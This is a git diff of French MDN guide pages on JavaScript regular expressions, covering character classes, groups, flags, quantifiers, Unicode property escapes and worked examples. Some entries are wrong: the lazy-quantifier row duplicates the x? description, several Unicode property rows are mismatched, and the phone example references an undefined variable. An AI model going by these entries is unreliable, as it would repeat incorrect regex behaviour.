[xyz]Un ensemble de caractère. Ce type de motif correspond pour n'importe quel caractètre présent entre les crochets, y compris les séquences d'échappement. Les caractères spéciaux comme le point (.) et l'astérisque ne sont pas considérés comme spéciaux au sein d'un ensemble et n'ont donc pas besoin d'être échappés. Il est possible de donner un ensemble sur un intervalle de caractères en utilisant un tiret (-), comme le montre l'exemple qui suit.
+
+ Le motif [a-d], aura les mêmes correspondances que [abcd], correspondant au 'b' de "bulle" et au 'c' de "ciel". Les motifis /[a-z.]+/ et /[\w.]+/ correspondront pour la chaîne entirère : "Adre.ss.e".
[^xyz] +

Exclusion d'un ensemble de caractères. Cela correspond à tout ce qui n'est pas compris entre crochets. Il est possible de fournir un intervalle de caractères en utilisant un tiret (-). Les autres règles qui s'appliquent pour l'ensemble de caractères (ci-avant) s'appliquent également ici.

+ +

Par exemple, [^abc] est équivalent à [^a-c]. Ils correspondent à 'u' dans "bulle" et à 'i' dans "ciel".

+
[\b]Correspond pour un retour arrière (U+0008). (À ne pas confondre avec \b.)
\b +

Correspond à la position d'uneAfter the limite de mot. Une limite de mot correspond à la position où un caractère d'un mot n'est pas suivi ou précédé d'un autre caractère de mot. Il faut savoir que la limite correspondante n'est pas incluse dans le résultat. Autrement dit, la longueur d'une telle correspondance est nulle. (À ne pas confondre avec [\b].)

+ +

Exemples :
+ /\bm/ correspond au 'm' dans "mignon" ;
+ /no\b/ ne correspond pas au 'no' de "mignon" car 'no' est suivi de 'n' qui n'est pas un caractère de limite de mot;
+ /non\b/ correspond au 'non' de "mignon" car 'non' représente la fin de la chaîne de caractère et n'est donc pas suivi par un caractère de mot.
+ /\w\b\w/ ne correspondra jamais à quoi que ce soit car un caractère de mot ne peut pas être suivi à la fois par un caractère de mot et un caractère n'étant pas un caractère de mot.

+ +
+

Note : Le moteur d'expressions rationnelles JavaScript définit un ensemble de caractères spécifiques qui doivent être considérés comme des caractères de mot. Tout caractère qui n'est pas dans cet ensemble est considéré comme une limite de mot. Cet ensemble de caractères est relativement limité car constitué uniquement des caractères de l'alphabet romain en minuscules et en majuscules, des chiffres décimaux et du tiret-bas (underscore). Les autres caractères, comme les caractères accentués (é ou ü par exemple), sont donc considérés comme des limites de mots.

+
+
\B +

Correspond à une "non-limite de mot". Cela correspond pour les cas suivants :

+ +
    +
  • Avant le premier caractère d'une chaîne de caractères
    • +
  • Après le dernier caractère d'une chaîne de caractères
    • +
  • Entre deux caractères de mot
    • +
  • Entre deux caractères qui ne sont pas des caractères de mot
    • +
  • Avec la chaîne vide.
    • +
+ +

Ainsi, /\B../ correspond au 'oo' de "football" (et /e\B./ correspond au 'er' dans "une mer "

+
\cX +

Étant donné un caractère X compris entre A et Z, cela correspond au caractère de contrôle dans une chaîne de caractères.

+ +

Ainsi, /\cM/ correspond au caractère de contrôle M (U+000D) d'une chaîne de caractère.

+
\d +

Correspond à un chiffre et est équivalent à [0-9].

+ +

Ainsi, /\d/ ou /[0-9]/ correspond à '2' dans "H2O est la molécule de l'eau".

+
\D +

Correspond à tout caractère qui n'est pas un chiffre et est équivalent à [^0-9].

+ +

Ainsi, /\D/ ou /[^0-9]/ correspond à 'H' dans "H2O est la molécule de l'eau".

+
\fCorrespond à un saut de page (U+000C).
\nCorrespond à un saut de ligne (U+000A).
\rCorrespond à un retour chariot (U+000D).
\s +

Correspond à un blanc (cela comprend les espace, tabulation, saut de ligne ou saut de page). C'est équivalent à [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

+ +

Ainsi, /\s\w*/ correspond à ' toto' dans "truc toto".

+
\S +

Correspond à un caractère qui n'est pas un blanc. C'est équivalent à [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

+ +

Ainsi, /\S\w*/ correspond à 'truc' dans "truc toto".

+
\tCorrespond à une tabulation (U+0009).
\vCorrespond à une tabulation verticale (U+000B).
\w +

Correspond à n'importe quel caractère alphanumérique, y compris le tiret bas. C'est équivalent à [A-Za-z0-9_].

+ +

Ainsi, /\w/ correspond à 'l' dans "licorne", à '5' dans "5,28€", et à '3' dans "3D."

+
\W +

Correspond à n'importe quel caractère n'étant pas un caractère de mot. Cela est équivalent à [^A-Za-z0-9_].

+ +

Ainsi, /\W/ ou /[^A-Za-z0-9_]/ correspond à '%' dans "50%."

+
\n +

Soit n un entier strictement positif, cela fait référence au groupe de la n-ième expression entre parenthèses (en comptant les parenthèses ouvrantes).

+ +

Ainsi, /pomme(,)\spoire\1/ correspond à 'pomme, poire,' dans "pomme, poire, cerise, pêche".

+
\0Correspond au caractère NULL (U+0000). Il ne doit pas être suivi d'un autre chiffre car \0<chiffres> est une séquence d'échappement pour les nombres en notation octale (si besoin d'utiliser un chiffre ensuite, on pourra utiliser la forme \x00, cf. ci-après).
\xhhCorrespond au caractère dont le code hexadécimal est hh (deux chiffres hexadécimaux).
\uhhhhCorrespond au caractère dont le code est hhhh (quatre chiffres hexadécimaux).
\u{hhhh}(Uniquement actif quand le marqueur u est activé) Correspond au caractère dont la valeur Unicode est hhhh (en chiffre hexadécimaux).
+ +

Afin d'échapper les informations saisies par l'utilisateur et de traîter les chaînes de caractères pour les utiliser au sein d'un expression régulière correspondante, il est possible d'utiliser le remplacement suivant :

+ +
function escapeRegExp(string){
+  // $& correspond à la chaîne correspondante
+  // dans son intégralité
+  return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+ +

Le marqueur g situé en fin d'expression permet d'effectuer une recherche globale, qui parcoure toute la chaîne et renvoie l'ensemble des correspondances trouvées (voir Utiliser les marqueurs ci-après).

+ +
+

Note : Voir la page sur la méthode String.replace pour plus d'informations.

+
+ +

Utiliser les parenthèses

+ +

Les parenthèses encadrant une partie du motif de l'expression régulière peuvent être utilisées pour garder en mémoire les correspondances. Cela pourra être utile pour réutiliser la correspondance trouvée.

+ +

Ainsi, le motif /Chapitre (\d+)\.\d*/ utilise des caractères échappés et spéciaux et indique une partie du motif à garder en mémoire. Ce motif correspond aux caractères 'Chapitre ' suivi par un ou plusieurs caractères numériques (\d correspond à un chiffre et + indiquant que une série de 1 ou plusieurs chiffres), suivis par un point (qu'il est nécessaire d'échapper car c'est un caractère spécial, on utilise donc '\' pour indiquer qu'on souhaite reconnaître le caractère '.'), suivi par 0 ou plusieurs chiffres (\d correspondant à un chiffre et l'astérisque indiquant que le caractère est présent 0 ou plusieurs fois). Les parenthèses sont utilisées pour garder en mémoire les premiers chiffres correspondant.

+ +

Ce motif est trouvé dans "Ouvrir le Chapitre 4.3 au paragraphe 6" et le chiffre '4' est gardé en mémoire. Le motif n'est pas trouvé dans  "Chapitre 3 et 4", car la chaîne de caractères ne comporte pas de point après le '3'.

+ +

Pour qu'une partie de la chaîne de caractère corresponde mais que la correspondance ne soit pas gardée en mémoire, on pourra utiliser ?:. Ainsi, (?:\d+) correspondra pour une séquence de chiffres (1 ou plusieurs chiffres) mais on ne gardera pas en mémoire les caractères correspondants.

+ +

Utiliser les expressions rationnelles

+ +

Les expresssions régulières sont utilisées avec les méthodes test et exec de l'objet RegExp et avec les méthodes match, replace, search, et split de l'objet String. Ces méthodes sont expliquées en détail dans la Référence JavaScript.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Méthodes utilisant les expressions régulières
MéthodeDescription
{{jsxref("RegExp.exec", "exec")}}Une méthode de l'objet RegExp qui exécute une recherche de correspondance dans une chaîne de caractères. Elle renvoie un tableau d'informations ou null lorsqu'il n'y a pas de correspondance.
{{jsxref("RegExp.test", "test")}}Une méthode de l'objet RegExp testant la présence d'une correspondance dans une chaîne de caractères. Elle renvoie true ou false.
{{jsxref("String.match", "match")}}Une méthode de l'objet String qui exécute une recherche de correspondance dans une chaîne de caractères. Elle renvoie un tableau d'informations ou null lorsqu'il n'y a pas de correspondance.
{{jsxref("String.matchAll", "matchAll")}}Une méthode de l'objet String qui renvoie un itérateur contenant l'ensemble des correspondances, y compris les groupes capturants.
{{jsxref("String.search", "search")}}Une méthode de l'objet String qui teste la présence d'une correspondance dans une chaîne de correspondance. Elle renvoie la position de la correspondance ou -1 s'il n'y en a pas.
{{jsxref("String.replace", "replace")}}Une méthode de l'objet String qui recherche une correspondance dans une chaîne de caractères et qui remplace la correspondance par une chaîne de substitution.
{{jsxref("String.split", "split")}}Une méthode de l'objet String qui utilise une expression régulière ou une chaîne de caractères pour découper une chaîne de caractères en un tableau comprenant les fragments résultants.
+ +

Pour savoir si un motif est présent au sein d'une chaîne de caractères, utiliser les méthodes test ou search. Pour obtenir plus d'informations (moins rapidement) on utilisera les méthodes exec ou match. Si on utilise exec ou match et qu'une correspondance est trouvée, ces méthodes renverront un tableau et mettront à jour des propriétés de l'objet global RegExp et aussi de l'instance de RegExp associée à l'expression rationnelle. Si aucune correspondance n'est trouvée, la méthode exec renverra null (qui est automatiquement converti à false lors d'un test conditionnel).

+ +

Dans l'exemple qui suit, le script utilise la méthode exec pour trouver une correspondance dans une chaîne de caractères.

+ +
var monExpressionReguliere = /d(b+)d/g;
+var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
+
+ +

S'il n'est pas nécessaire d'accéder aux propriétés de l'expression régulière, une autre façon de récupérer monTableau peut être :

+ +
var monTableau = /d(b+)d/g.exec("cdbbdbsbz");
+// équivalent à "cdbbdbsbz".match(/d(b+)d/g);
+
+ +

Si on souhaite construire une expression régulière à partir d'une chaîne de caractères, on peut utiliser le script suivant :

+ +
var monExpressionReguliere = new RegExp("d(b+)d", "g");
+var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
+
+ +

Avec ces scripts, on obtient bien une correspondance, la méthode renvoie un tableau et met à jour les propriétés listées dans le tableau qui suit.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Résultats dûs à l'exécution d'une expression rationnelle.
ObjetPropriété ou indiceDescriptionPour cet exemple
monTableauLa chaîne de caractères correspondante et les fragments de chaînes gardés en mémoire.["dbbd", "bb"]
indexL'indice (débute à partir de 0) de la correspondance, compté dans la chaîne de caractère initiale.1
inputLa chaîne de caractères initiale."cdbbdbsbz"
[0]Les derniers caractères qui correspondent."dbbd"
monExpressionRégulièrelastIndexL'indice auquel débuter la prochaine correspondance. (Cette propriété n'est utilisée que si l'expression régulière utilise l'option g, décrite dans « Effectuer des recherches avancées avec les marqueurs ».5
sourceLe texte du motif, mis à jour à la création de l'expression régulière mais pas lors de son exécution."d(b+)d"
+ +

Comme le montre la seconde formulation de cet exemple, il est possible d'utiliser une expression rationnelle, créée avec un objet initialisé sans l'affecter à une variable. Cela implique qu'à chaque utilisation, on aura une nouvelle expression régulière distincte et qu'on ne pourra pas, pour cette raison, accéder aux propriétés de l'expression régulière. Avec le script suivant :

+ +
var monExpressionReguliere = /d(b+)d/g;
+var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
+console.log("La valeur de lastIndex est " + monExpressionReguliere.lastIndex);
+
+// "La valeur de lastIndex est 5"
+
+ +

Si le script utilisé est :

+ +
var monTableau = /d(b+)d/g.exec("cdbbdbsbz");
+console.log("La valeur de lastIndex est " + /d(b+)d/g.lastIndex);
+
+// "La valeur de lastIndex est 0"
+
+ +

Les occurences de /d(b+)d/g dans les deux instructions sont des objets différents. Leurs propriétés lastIndex respectives ont donc des valeurs différentes. Quand il est nécessaire d'accéder aux propriétés d'un objet décrivant une expression rationnelle, il faudra d'abord l'affecter à une variable.

+ +

Utiliser les correspondances de groupes avec les parenthèses

+ +

Les parenthèses, utilisées dans un motif d'expression régulière, permettent de garder en mémoire un groupe (ou fragment) d'une correspondance. Ainsi, /a(b)c/ correspond aux caractères 'abc' et garde 'b' en mémoire. Pour récupérer ces fragments mémorisés, on peut utiliser les éléments du tableau array [1], ..., [n].

+ +

Le nombre de fragments qu'il est possible de garder entre parenthèses n'est pas limité. Le tableau renvoyé contiendra tout ce qui aura été trouvé. Les exemples qui suivent montrent comment utiliser cette syntaxe.

+ +

Le script qui suit utilise la méthode {{jsxref("String.replace", "replace()")}} pour échanger les mots d'une chaîne de caractères. Pour remplacer le texte, le script utilise $1 et $2 qui correspondent au premier et deuxième groupe correspondant.

+ +
var re = /(\w+)\s(\w+)/;
+var str = "Titi toto";
+var newstr = str.replace(re, "$2, $1");
+console.log(newstr);
+
+ +

Cela affichera "toto, Titi".

+ +

Effectuer des recherches avancées en utilisant les marqueurs (flags)

+ +

Les expressions rationnelles peuvent être utilisées avec des marqueurs optionnels permettant des recherches globales et/ou ne respectant pas la casse. Ces marqueurs peuvent être utilisés séparement ou ensemble, quel que soit l'ordre. Ils font partie de l'expression régulière.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Drapeaux utilisés avec les expressions régulières.
Drapeau (Flag)Description
gRecherche globale
iRecherche ne respectant pas la casse
mRecherche sur plusieurs lignes
sLe point peut correspondre aux caractères de saut de ligne.
uUnicode. Le motif de recherche est interprété comme une séquence de codets Unicode.
yEffectue une recherche qui « adhère », en partant de la position courante de la chaîne de caractères sur laquelle la recherche est effectuée. Voir la page sur {{jsxref("RegExp.sticky","sticky")}}.
+ +

Pour utiliser un marqueur avec une expression régulière, on utilisera la syntaxe suivante :

+ +
var re = /motif/marqueurs;
+
+ +

ou

+ +
var re = new RegExp("motif", "marqueurs");
+
+ +

Les marqueurs font partie intégrante d'une expression régulière, ils ne peuvent pas être ajoutés ou supprimés ensuite.

+ +

Ainsi, re = /\w+\s/g permet de créer une expression régulière pour trouver un ou plusieurs caractères suivis d'un espace, la recherche est effectuée globalement, sur toute la chaîne de caractères.

+ +
var re = /\w+\s/g;
+var str = "un deux trois quatre";
+var monTableau = str.match(re);
+console.log(monTableau);
+
+ +

Cela affichera ["un ", "deux ", "trois "]. On pourrait remplacer la ligne :

+ +
var re = /\w+\s/g;
+
+ +

avec la ligne :

+ +
var re = new RegExp("\\w+\\s", "g");
+
+ +

pour obtenir le même résultat.

+ +

Le comportement du marqueur 'g' est différent selon qu'il est utilisé avec exec() ou avec match(). Pour match(), c'est la chaîne de caractères qui invoque la méthode et l'expression rationnelle est alors un argument. Pour exec(), c'est l'expression rationnelle qui invoque la méthode et c'est la chaîne de caractères qui est passée en argument. Dans l'appel à exec(), le marqueur 'g' permet d'avoir une progression itérative.

+ +

Le marqueur m pourra être utilisé pour traiter une chaîne de caractères de plusieurs lignes comme plusieurs lignes distinctes. Si ce marqueur est utilisé, les caractères spéciaux ^ et $ correspondront au début ou à la fin de n'importe quelle ligne appartenant à la chaîne de caractères au lieu de correspondre simplement au début ou à la fin de la chaîne.

+ +

Exemples

+ +

Les exemples qui suivent utilisent les expressions régulières dans différents cas.

+ +

Changer l'ordre d'une saisie

+ +

L'exemple qui suit utilise les expressions régulières et string.split() et string.replace(). Le script nettoie la chaîne de caractères saisie qui contient des noms (prénom puis nom) séparés par des blancs, tabulations et points-virgules. Enfin il inverse les noms et prénoms puis trie la liste.

+ +
// La chaîne des noms contient plusieurs blancs et tabulations,
+// il peut y avoir plusieurs espaces entre le nom et le prénom.
+var noms = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = ["---------- Chaîne originale\n", noms + "\n"];
+
+// Préparer deux expressions régulières pour stocker un tableau.
+// et découper les chaînes dans ce tableau.
+
+// motif: on peut avoir des blancs, un point virgule puis d'autres blancs
+var motif = /\s*;\s*/;
+
+// Découper la chaîne de caractères en morceaux séparés par le précédent motif
+// Stocker ces morceaux dans un tableau listeNoms
+var listeNoms = noms.split(motif);
+
+// nouveau motif : un ou plusieurs caractères, des blancs puis des caractères.
+// On utilise des parenthèses pour garder en mémoire les groupes du motif.
+// On utilisera ces groupes par la suite.
+motif = /(\w+)\s+(\w+)/;
+
+// Nouveau tableau pour enregistrer les noms traités.
+var listeParNomFamille = [];
+
+// Afficher le tableau des noms et remplir le nouveau tableau
+// avec les noms et prénoms séparés par des virgules, le nom
+// de famille étant écrit en premier
+//
+// La méthode replace supprime tout ce qui correspond au motif
+// et le remplace par le nom (mémorisé), une virgule, un espace
+// et le prénom (mémorisé).
+//
+// Les variables $1 et $2 font références aux fragments gardés
+// en mémoire lors de l'utilisation du motif.
+
+output.push("---------- Après découpage avec l'expression régulière");
+
+var i, len;
+for (i = 0, len = listeNoms.length; i < len; i++){
+  output.push(listeNoms[i]);
+  listeParNomFamille[i] = listeNoms[i].replace(motif, "$2, $1");
+}
+
+// Afficher le nouveau tableau
+output.push("---------- Noms et prénoms inversés");
+for (i = 0, len = listeParNomFamille.length; i < len; i++){
+  output.push(listeParNomFamille[i]);
+}
+
+// Trier par le nom de famille puis afficher le tableau trié
+listeParNomFamille.sort();
+output.push("---------- Triée");
+for (i = 0, len = listeParNomFamille.length; i < len; i++){
+  output.push(listeParNomFamille[i]);
+}
+
+output.push("---------- Fin");
+
+console.log(output.join("\n"));
+
+ +

Utiliser les caractères spéciaux pour vérifier la saisie

+ +

Dans l'exemple suivant, on s'attend à ce que l'utilisateur saisissent un numéro de téléphone. Quand l'utilisateur appuie sur le bouton "Vérifier", le script vérifie la validité du numéro. Si le numéro est valide (il correspond à la séquence de caractères fournie par l'expression régulière), le script affiche un message remerciant l'utilisateur et confirmant le numéro. S'il est invalide, le script informe l'utilisateur et lui signifie que les informations saisies ne sont pas valides.

+ +

Dans les parenthèses sans mémoire (?: , l'expression régulière cherche les deux premiers chiffres ou l'indicatif du pays suivi d'un blanc et du premier chiffre, ce qui correspond à

+ +
\d{2}|\+\d{2}[ ]\d
+ +

Cette partie signifie : deux chiffres OU un signe '+' suivi de deux chiffres, un blanc et un autre chiffre.

+ +

Ensuite, on a un groupe qui est mémorisé (entre parenthèses) :

+ +
([- ])
+ +

Ce groupe correspond à ce qui va être utilisé pour séparer les différentes composantes du numéro de téléphone.

+ +

Ensuite,

+ +
\d{2}\1
+ +

signifie qu'on a deux chiffres suivi du premier groupe qui est celui qui définit le séparateur. Le reste est composé de la même façon. Ainsi les numéros de téléphone +33 1 23 45 67 89 et 01 23 45 67 89 seront tous les deux valides.

+ +

L'événement Change, provoqué quand l'utilisateur appuie sur Entrée, renseigne la valeur RegExp.input.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+    <meta http-equiv="Content-Script-Type" content="text/javascript">
+    <script type="text/javascript">
+      var re = /(?:\d{2}|\+\d{2}[ ]\d)([- ])\d{2}\1\d{2}\1\d{2}\1\d{2}/;
+      function testInfo(phoneInput){
+        var OK = re.exec(phoneInput.value);
+        if (!OK)
+          window.alert(phone.input + " n'est pas un numéro de téléphone valide!");
+        else
+          window.alert("Merci, votre numéro est : " + OK[0]);
+      }
+    </script>
+  </head>
+  <body>
+    <p>Saisissez votre numéro de téléphone (avec indicatif) puis cliquez sur "Vérifier".
+        <br>Le format attendu est ## ## ## ## ## ou +## # ## ## ## ##.</p>
+    <form action="#">
+      <input id="phone"><button onclick="testInfo(document.getElementById('phone'));">Vérifier</button>
+    </form>
+  </body>
+</html>
+
+ +

{{PreviousNext("Web/JavaScript/Guide/Formatage_du_texte", "Web/JavaScript/Guide/Collections_indexées")}}

diff --git a/files/fr/web/javascript/guide/regular_expressions/quantifiers/index.html b/files/fr/web/javascript/guide/regular_expressions/quantifiers/index.html new file mode 100644 index 0000000000..75137ff14d --- /dev/null +++ b/files/fr/web/javascript/guide/regular_expressions/quantifiers/index.html @@ -0,0 +1,97 @@ +--- +title: Quantificateurs +slug: Web/JavaScript/Guide/Expressions_régulières/Quantificateurs +tags: + - Guide + - JavaScript + - Quantificateurs + - RegExp +translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers +--- +

{{jsSidebar("JavaScript Guide")}}{{draft}}

+ +

Les quantificateurs indiquent le nombre de caractères ou d'expressions qu'il faut pour une correspondance.

+ +

Types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CaractèresSignification
x* +

Correspond à l'expression précédente qui est répétée 0 ou plusieurs fois. Équivalent à {0,}

+ +

Ainsi, /bo*/ correspond à 'boo' dans "Un booléen" et à 'b' dans "Un bateau bleu", mais ne correspond à rien dans "Ce matin".

+
x+ +

Correspond à l'expression précédente qui est répétée une ou plusieurs fois. C'est équivalent à {1,}.

+ +

Ainsi, /a+/ correspond au 'a' dans "maison" et à tous les 'a' dans "maaaaaaison" mais ne correspond à rien dans "mission".

+
x? +

Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à {0,1}.
+
+ Ainsi, /e?le?/ correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".
+
+ S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple /\d+/ utilisée avec "123abc" fait correspondre "123". Utiliser /\d+?/ à la même chaîne de caractères fait correspondre "1".
+
+ Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes x(?=y) et x(?!y) de ce tableau.

+
x{n} +

Correspond pour exactement n occurences de l'expression précédente. N doit être un entier positif.
+
+ Ainsi, /a{2}/ ne correspond pas au 'a' de "Mozilla" mais correspond à tous les 'a' de "Mozilaa" et aux deux premiers 'a' de "Mozillaaa".

+
x{n,} +

Correspond lorsqu'il y a au moins n occurences de l'expression précédente. n doit être un entier positif.

+ +

Par exemple /a{2,}/ correspondra à "aa" ou à "aaa" ou encore à "aaaa" mais pas à "a".

+
x{n,m} +

Lorsque n et m sont des entiers positifs, cela correspond à au moins n occurences de l'expression précédente et à au plus m occurrences. Lorsque m n'est pas utilisé, la valeur par défaut correspondante sera l'infini.

+ +

Ainsi, /a{1,3}/ ne correspond à rien dans "Mozill", au 'a' de "Mozilla", au deux premiers 'a' de "Mozillaa" et au trois premiers 'a' de "Mozillaaaaa". Pour ce dernier exemple, on doit noter que le correspondance ne se fait que sur "aaa" bien qu'il y ait plus de 'a' dans la chaîne de caractères.

+
+

x*?
+ x+?
+ x??
+ x{n}?
+ x{n,}?
+ x{n,m}?

+ 		+

Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à {0,1}.
+
+ Ainsi, /e?le?/ correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".
+
+ S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple /\d+/ utilisée avec "123abc" fait correspondre "123". Utiliser /\d+?/ à la même chaîne de caractères fait correspondre "1".
+
+ Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes x(?=y) et x(?!y) de ce tableau.

+
diff --git a/files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.html b/files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.html new file mode 100644 index 0000000000..df05a95dda --- /dev/null +++ b/files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.html @@ -0,0 +1,430 @@ +--- +title: Échappement des propriétés Unicode +slug: Web/JavaScript/Guide/Expressions_régulières/Échappement_propriétés_Unicode +tags: + - Expressions rationnelles + - Expressions régulières + - Guide + - JavaScript + - regex +translation_of: Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes +--- +

{{jsSidebar("JavaScript Guide")}}{{draft}}

+ +

Les séquences d'échappement pour les propriétés Unicode permettent de distinguer les caractères Unicodes en fonction de leurs propriétés : majuscules, minuscules, symboles mathématiques, ponctuation, etc.

+ +

Syntaxe

+ +
// Valeurs non-binaires
+\p{UnicodePropertyName=ValeurPropriétéUnicode}
+\p{UnicodePropertyName}
+
+// Valeurs binaires et non-binaires
+\p{UnicodePropertyName}
+
+ +
+
ValeurPropriétéUnicode
+
Une des valeurs listées ci-après. Pour certaines valeurs, le mot-clé NomPropriétéUnicode et le signe égal peuvent être omis.
+
+ +

Valeurs

+ +

Non-binaires

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ÉchappementsSignification
\p{LC}
+ \p{Cased_Letter}
+ \p{UnicodePropertyName=Cased_Letter}		N'importe quelle lettre avec la version minuscule et la version majuscule. Équivalent à \p{Lu}|\p{Ll}|p{Lt}.
\p{Close_Punctuation}
+ \p{UnicodePropertyName=Close_Punctuation}
\p{Connector_Punctuation}
+ \p{UnicodePropertyName=Connector_Punctuation}
\p{Control}
+ \p{UnicodePropertyName=Control}
\p{Currency_Symbol}
+ \p{UnicodePropertyName=Currency_Symbol}
\p{Dash_Punctuation}
+ \p{UnicodePropertyName=Dash_Punctuation}
\p{Decimal_Number}
+ \p{UnicodePropertyName=Decimal_Number}
\p{Enclosing_Mark}
+ \p{UnicodePropertyName=Enclosing_Mark}
\p{Final_Punctuation}
+ ​​​​​​​\p{UnicodePropertyName=Final_Punctuation}
\p{Format}
+ ​​​​​​​\p{UnicodePropertyName=Format}
\p{Initial_Punctuation}
+ ​​​​​​​\p{UnicodePropertyName=Initial_Punctuation}
\p{Letter}
+ ​​​​​​​\p{UnicodePropertyName=Letter}
\p{Letter_Number}
+ ​​​​​​​\p{UnicodePropertyName=Line_Separator}
\p{Lowercase_Letter}
+ ​​​​​​​\p{UnicodePropertyName=Lowercase_Letter}
\p{Mark}
+ ​​​​​​​\p{UnicodePropertyName=Mark}
\p{Math_Symbol;}
+ ​​​​​​​\p{UnicodePropertyName=Math_Symbol}
\p{Modifier_Letter}
+ ​​​​​​​\p{UnicodePropertyName=Modifier_Letter}
\p{Modifier_Symbol}
+ ​​​​​​​\p{UnicodePropertyName=Modifier_Symbol}
\p{Nonspacing_Mark}
+ ​​​​​​​\p{UnicodePropertyName=Nonspacing_Mark}
\p{Number}
+ ​​​​​​​\p{UnicodePropertyName=Number}
\p{Open_Punctuation}
+ ​​​​​​​\p{UnicodePropertyName=Open_Punctuation}
\p{Other}
+ ​​​​​​​\p{UnicodePropertyName=Other_Letter}
\p{Other_Letter}
+ ​​​​​​​\p{UnicodePropertyName=Other_Letter}
\p{Other_Number}
+ ​​​​​​​\p{UnicodePropertyName=Other_Number}
\p{Other_Punctuation}
+ ​​​​​​​\p{UnicodePropertyName=Other_Punctuation}
\p{Paragraph_Separator}
+ ​​​​​​​\p{UnicodePropertyName=Paragraph_Separator}
\p{Private_Use}Meaning
+ ​​​​​​​\p{UnicodePropertyName=Private_Use}
\p{Punctuation}
+ ​​​​​​​\p{UnicodePropertyName=Punctuation}
\p{Separator}
+ ​​​​​​​\p{UnicodePropertyName=Separator}
\p{Space_Separator}
+ ​​​​​​​\p{UnicodePropertyName=Space_Separator}
\p{Spaceing_Mark}
+ ​​​​​​​\p{UnicodePropertyName=Spacing_Mark}
\p{Surrogate}
+ ​​​​​​​\p{UnicodePropertyName=Surrogate}
\p{Symbol}
+ ​​​​​​​\p{UnicodePropertyName=Symbol}
\p{Titlecase_Letter}
+ ​​​​​​​\p{UnicodePropertyName=Titlecase_Letter}
\p{Unassigned}
+ ​​​​​​​\p{UnicodePropertyName=Unassigned}
\p{Uppercase_Letter}
+ ​​​​​​​\p{UnicodePropertyName=UppercaseLetter}
+ +

Binaires

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ÉchappementSignification
\p{Alphabetic}
\p{Bidi_Control}
\p{Bidi_Mirrored}
\p{Case_Ignorable}
\p{Cased}
\p{Changes_When_Casefolded}
\p{Changes_When_Casemapped}
\p{Changes_When_Lowercased}
\p{Changes_When_NFKC_Casefolded}
\p{Changes_When_Titlecased}
\p{Changes_When_Uppercased}
\p{Dash}
\p{Default_Ignorable_Code_Point}
\p{Deprecated}
\p{Diacritic}
\p{Emoji}
\p{Emoji_Component}
\p{Emoji_Modifier}
\p{Emoji_Modifier_Base}
\p{Emoji_Presentation}
\p{Extender}
\p{Grapheme_Base}
\p{Grapheme_Extend}
\p{Hex_Digit}
\p{ID_Continue}
\p{ID_Start}
\p{Ideographic}
\p{IDS_Binary_Operator}
\p{IDS_Trinary_Operator}
\p{Join_Control}
\p{Logical_Order_Exception}
\p{Lowercase}
\p{Math}
\p{Noncharacter_Code_Point}
\p{Pattern_Syntax}
\p{Pattern_White_Space}
\p{Quotation_Mark}
\p{Radical}
\p{RegionalIndicator}
\p{Sentence_Terminal}
\p{Soft_Dotted}
\p{Terminal_Punctuation}
\p{Unified_Ideograph}
\p{Uppercase}
\p{Variation_Selector}
\p{White_Space}
\p{XID_Continue}
\p{XID_Start}
diff --git "a/files/fr/web/javascript/guide/retours_sur_h\303\251ritage/index.html" "b/files/fr/web/javascript/guide/retours_sur_h\303\251ritage/index.html" deleted file mode 100644 index 1397899d63..0000000000 --- "a/files/fr/web/javascript/guide/retours_sur_h\303\251ritage/index.html" +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Retours sur l'héritage -slug: Web/JavaScript/Guide/Retours_sur_héritage -tags: - - Guide - - JavaScript - - Prototype -translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain -translation_of_original: Web/JavaScript/Guide/Inheritance_Revisited ---- -

